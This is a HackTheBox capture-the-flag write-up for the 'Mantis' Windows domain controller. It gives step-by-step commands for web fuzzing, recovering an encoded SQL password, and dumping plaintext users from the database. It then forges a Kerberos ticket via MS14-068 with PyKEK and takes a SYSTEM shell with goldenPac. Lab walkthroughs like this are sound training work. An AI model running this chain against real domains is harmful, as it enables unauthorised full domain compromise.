Mantis - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Mantis is a challenging Windows Server machine that requires intermediate-to-advanced knowledge of domain controllers and Kerberos exploitation. The attack chain begins with discovering SQL Server Express credentials through web enumeration and a Base64-encoded password file. After extracting plaintext credentials from the database, the vulnerability MS14-068 is exploited to forge a Kerberos ticket, ultimately granting Domain Admin privileges and full system compromise.

TL;DR: Web enumeration → SQL Server creds → Database user extraction → MS14-068 Kerberos ticket forge → Domain Admin shell → flags

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- TARGET_IP

Results:

Nmap reveals a rich attack surface on this Windows domain controller:

• Port 53 (DNS) - Active Directory domain services
• Port 88 (Kerberos) - Active Directory authentication
• Port 135 (RPC) - Remote Procedure Call
• Port 139, 445 (SMB) - Windows file sharing
• Port 389, 636 (LDAP) - Directory services
• Port 1337 (HTTP) - IIS web server
• Port 1433 (MSSQL) - SQL Server Express
• Port 3268, 3269 (LDAP GC) - Global Catalog

The machine identifies itself as mantis.htb.local and htb.local, confirming it’s a domain controller.

Service Enumeration

IIS Web Server (Port 1337):

Initial connection shows a standard IIS default page. Further enumeration is required to discover hidden content.

SQL Server Express (Port 1433):

SQL Server Express is running with default or weak credentials. This service is the key to obtaining domain user credentials.

Active Directory Services:

DNS, Kerberos, LDAP, and SMB services all indicate a functioning Windows domain environment with htb.local as the domain name.

Vulnerability Assessment

1. SQL Server Express Weak Credentials - Default or easily discoverable sa account credentials
2. Plaintext Database Credentials - User passwords stored in plaintext within the Orchard CMS database
3. MS14-068 Kerberos Vulnerability - CVE-2014-6324 allows unprivileged domain users to escalate to Domain Admin via forged Kerberos tickets
4. Web Enumeration Disclosure - Development notes directory contains database credentials in encoded format

Initial Foothold

Web Enumeration

Directory fuzzing on the IIS server reveals hidden content:

dirbuster -u http://TARGET_IP:1337 -l /path/to/wordlist

Discovery: The /secure_notes directory is accessible and contains a file dev_notes_xxxx.txt.txt where xxxx is a Base64-encoded string.

Decoding the Password:

# The filename contains: dev_notes_[BASE64_STRING].txt.txt
echo "[BASE64_STRING]" | base64 -d | xxd -r -p

# This reveals the SQL Server Express password in ASCII

The notes file also discloses:

• Database name: orcharddb
• SQL Server username: sa

SQL Server Exploitation

Connect to SQL Server Express using the discovered credentials:

sqsh -S TARGET_IP:1433 -U sa -P '[PASSWORD]'

Once connected, enumerate the database structure:

-- List all databases
SELECT name FROM master.dbo.sysdatabases
go

-- View tables in orcharddb
USE orcharddb
go
SELECT * FROM INFORMATION_SCHEMA.TABLES
go

-- Identify user table structure
SELECT * FROM INFORMATION_SCHEMA.COLUMNS
go

-- Extract user credentials
SELECT * FROM blog_Orchard_Users_UserPartRecord
go

Results: The database query returns plaintext credentials for the james user, including the password J@m3s_P@ssW0rd!

Privilege Escalation

Obtaining the SID

Using the extracted james credentials, obtain the user’s SID via RPC:

rpcclient -U htb\\james mantis.htb.local
# When prompted, enter the password: J@m3s_P@ssW0rd!

# Once connected, query the SID
lookupnames james

This returns the SID: S-1-5-21-4220043660-4019079961-2895681657

MS14-068 Kerberos Ticket Forging

MS14-068 (CVE-2014-6324) exploits a flaw in Kerberos ticket validation to forge a ticket with Domain Admin privileges. Use PyKEK to generate the malicious ticket:

# Clone PyKEK from GitHub
git clone https://github.com/SecWiki/windows-kernel-exploits.git
cd windows-kernel-exploits/MS14-068/pykek

# Generate the forged Kerberos ticket
python ms14-068.py -u james@htb.local -d mantis.htb.local \
  -p "J@m3s_P@ssW0rd!" \
  -s S-1-5-21-4220043660-4019079961-2895681657

This generates a ticket file. Rename and move it for use with Impacket:

mv [GENERATED_TICKET] /tmp/krb5cc_0
chmod 600 /tmp/krb5cc_0

Obtaining Domain Admin Shell

Using Impacket’s goldenPac script with the forged ticket:

export KRB5CCNAME=/tmp/krb5cc_0

python goldenPac.py htb.local/james@mantis.htb.local
# Enter password when prompted: J@m3s_P@ssW0rd!

This immediately grants a SYSTEM-level shell on the domain controller.

Flag Collection

With elevated privileges, retrieve both flags:

type C:\Users\james\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt

Attack Chain Summary

Port Enumeration (IIS + SQL Server Discovered)
    ↓
Web Directory Fuzzing (/secure_notes found)
    ↓
Base64 Decode dev_notes filename → SQL credentials
    ↓
SQL Server Connection (sa account)
    ↓
Database Query → james user plaintext password
    ↓
RPC Enumeration → Obtain james SID
    ↓
MS14-068 Ticket Forgery (PyKEK)
    ↓
Kerberos Ticket Injection (krb5cc_0)
    ↓
goldenPac.py → Domain Admin Shell
    ↓
Administrator Flag Retrieved

Tools Used

Key Learnings

Techniques Practiced

• Web enumeration and hidden directory discovery
• SQL Server Express enumeration and exploitation
• Database credential extraction from CMS platforms
• Active Directory SID enumeration via RPC
• Kerberos ticket forgery (MS14-068)
• Domain privilege escalation via forged authentication tokens
• Windows domain controller exploitation

Lessons Learned

1. Defense-in-depth matters - A single misconfigured service (exposed SQL Server) combined with weak credential storage led to complete domain compromise.

2. Encoding ≠ Encryption - Base64-encoded credentials in filenames are trivial to decode and should never be relied upon for security.

3. Legacy CVEs remain critical - MS14-068 is an old vulnerability (2014) but remains exploitable on unpatched systems; timely patching is essential.

4. Plaintext storage is catastrophic - Orchard CMS storing user passwords in plaintext within the database meant that SQL access immediately compromised all domain accounts.

5. Service enumeration is comprehensive - Taking time to properly enumerate all services and their versions revealed multiple attack vectors; the first successful path was often not the intended one.

6. Kerberos knowledge is valuable - Understanding ticket structure and the MS14-068 vulnerability required research but provided the privilege escalation path.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>